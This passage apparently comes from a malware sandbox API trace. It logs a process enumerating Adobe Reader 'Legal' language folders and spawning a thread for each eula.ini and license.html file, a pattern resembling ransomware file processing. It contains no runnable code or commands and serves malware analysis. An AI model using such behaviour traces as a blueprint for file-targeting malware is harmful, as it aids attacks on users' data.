(_String1=".", _String2=".") returned 0 [0155.030] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x9b7510 | out: lpFindFileData=0x9b7510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.030] wcscmp (_String1="..", _String2=".") returned 1 [0155.030] wcscmp (_String1="..", _String2="..") returned 0 [0155.030] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x9b7510 | out: lpFindFileData=0x9b7510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.030] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.030] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.030] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7688 [0155.030] wcscpy (in: _Dest=0x8e7688, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" [0155.030] wcscat (in: _Dest=0x8e7688, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\" [0155.030] wcscat (in: _Dest=0x8e7688, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini" [0155.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8 [0155.643] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x9b7510 | out: lpFindFileData=0x9b7510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xba2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.643] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.643] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.643] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac728 [0155.643] wcscpy (in: _Dest=0x9ac728, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR" [0155.643] wcscat (in: _Dest=0x9ac728, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\" [0155.643] wcscat (in: _Dest=0x9ac728, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" [0155.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160 [0155.644] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x9b7510 | out: lpFindFileData=0x9b7510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xba2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.644] FindClose (in: hFindFile=0x8d9d50 | out: hFindFile=0x8d9d50) returned 1 [0155.645] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b7510) returned 1 [0155.645] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0480) returned 1 [0155.645] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0100) returned 1 Thread: id = 3317 os_tid = 0x5d8 [0153.109] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0c00 [0153.109] wcscpy (in: _Dest=0x8d0c00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" [0153.109] wcscat (in: _Dest=0x8d0c00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\" [0153.110] wcscat (in: _Dest=0x8d0c00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*" [0153.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b9928 [0153.110] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941d70 [0155.175] wcscmp (_String1=".", _String2=".") returned 0 [0155.175] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.175] wcscmp (_String1="..", _String2=".") returned 1 [0155.175] wcscmp (_String1="..", _String2="..") returned 0 [0155.175] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.175] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.175] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.175] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e8018 [0155.175] wcscpy (in: _Dest=0x8e8018, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" [0155.175] wcscat (in: _Dest=0x8e8018, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\" [0155.176] wcscat (in: _Dest=0x8e8018, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini" [0155.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f0 [0155.671] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.671] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.671] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.671] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac5f8 [0155.671] wcscpy (in: _Dest=0x9ac5f8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" [0155.671] wcscat (in: _Dest=0x9ac5f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\" [0155.671] wcscat (in: _Dest=0x9ac5f8, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" [0155.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c4 [0155.673] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x9b9928 | out: lpFindFileData=0x9b9928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.673] FindClose (in: hFindFile=0x941d70 | out: hFindFile=0x941d70) returned 1 [0155.673] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b9928) returned 1 [0155.673] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0c00) returned 1 [0155.673] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cff80) returned 1 Thread: id = 3318 os_tid = 0x794 [0153.114] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0b00 [0153.114] wcscpy (in: _Dest=0x8d0b00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" [0153.114] wcscat (in: _Dest=0x8d0b00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\" [0153.114] wcscat (in: _Dest=0x8d0b00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*" [0153.114] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b8ab8 [0153.114] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", lpFindFileData=0x9b8ab8 | out: lpFindFileData=0x9b8ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942930 [0155.175] wcscmp (_String1=".", _String2=".") returned 0 [0155.175] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x9b8ab8 | out: lpFindFileData=0x9b8ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.175] wcscmp (_String1="..", _String2=".") returned 1 [0155.175] wcscmp (_String1="..", _String2="..") returned 0 [0155.175] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x9b8ab8 | out: lpFindFileData=0x9b8ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.175] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.175] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.175] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7dd8 [0155.175] wcscpy (in: _Dest=0x8e7dd8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" [0155.175] wcscat (in: _Dest=0x8e7dd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\" [0155.175] wcscat (in: _Dest=0x8e7dd8, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\eula.ini" [0155.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f8 [0155.792] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x9b8ab8 | out: lpFindFileData=0x9b8ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.793] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.793] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.793] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c75c08 [0155.793] wcscpy (in: _Dest=0x12c75c08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" [0155.793] wcscat (in: _Dest=0x12c75c08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\" [0155.793] wcscat (in: _Dest=0x12c75c08, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" [0155.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75c08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b4 [0155.794] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x9b8ab8 | out: lpFindFileData=0x9b8ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.794] FindClose (in: hFindFile=0x942930 | out: hFindFile=0x942930) returned 1 [0155.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b8ab8) returned 1 [0155.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0b00) returned 1 [0155.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfe00) returned 1 Thread: id = 3319 os_tid = 0x940 [0153.115] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0a80 [0153.115] wcscpy (in: _Dest=0x8d0a80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" [0153.115] wcscat (in: _Dest=0x8d0a80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\" [0153.115] wcscat (in: _Dest=0x8d0a80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*" [0153.115] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b8118 [0153.115] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", lpFindFileData=0x9b8118 | out: lpFindFileData=0x9b8118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942a70 [0155.174] wcscmp (_String1=".", _String2=".") returned 0 [0155.174] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9b8118 | out: lpFindFileData=0x9b8118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.174] wcscmp (_String1="..", _String2=".") returned 1 [0155.174] wcscmp (_String1="..", _String2="..") returned 0 [0155.174] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9b8118 | out: lpFindFileData=0x9b8118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.174] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.174] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.174] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e8498 [0155.174] wcscpy (in: _Dest=0x8e8498, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" [0155.174] wcscat (in: _Dest=0x8e8498, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\" [0155.174] wcscat (in: _Dest=0x8e8498, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\eula.ini" [0155.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188 [0155.668] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9b8118 | out: lpFindFileData=0x9b8118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.668] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.668] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9abbe0 [0155.668] wcscpy (in: _Dest=0x9abbe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" [0155.668] wcscat (in: _Dest=0x9abbe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\" [0155.668] wcscat (in: _Dest=0x9abbe0, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" [0155.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9abbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c0 [0155.669] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9b8118 | out: lpFindFileData=0x9b8118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.669] FindClose (in: hFindFile=0x942a70 | out: hFindFile=0x942a70) returned 1 [0155.669] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b8118) returned 1 [0155.669] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0a80) returned 1 [0155.669] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0380) returned 1 Thread: id = 3320 os_tid = 0xa4c [0153.115] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0d00 [0153.115] wcscpy (in: _Dest=0x8d0d00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" [0153.115] wcscat (in: _Dest=0x8d0d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\" [0153.115] wcscat (in: _Dest=0x8d0d00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 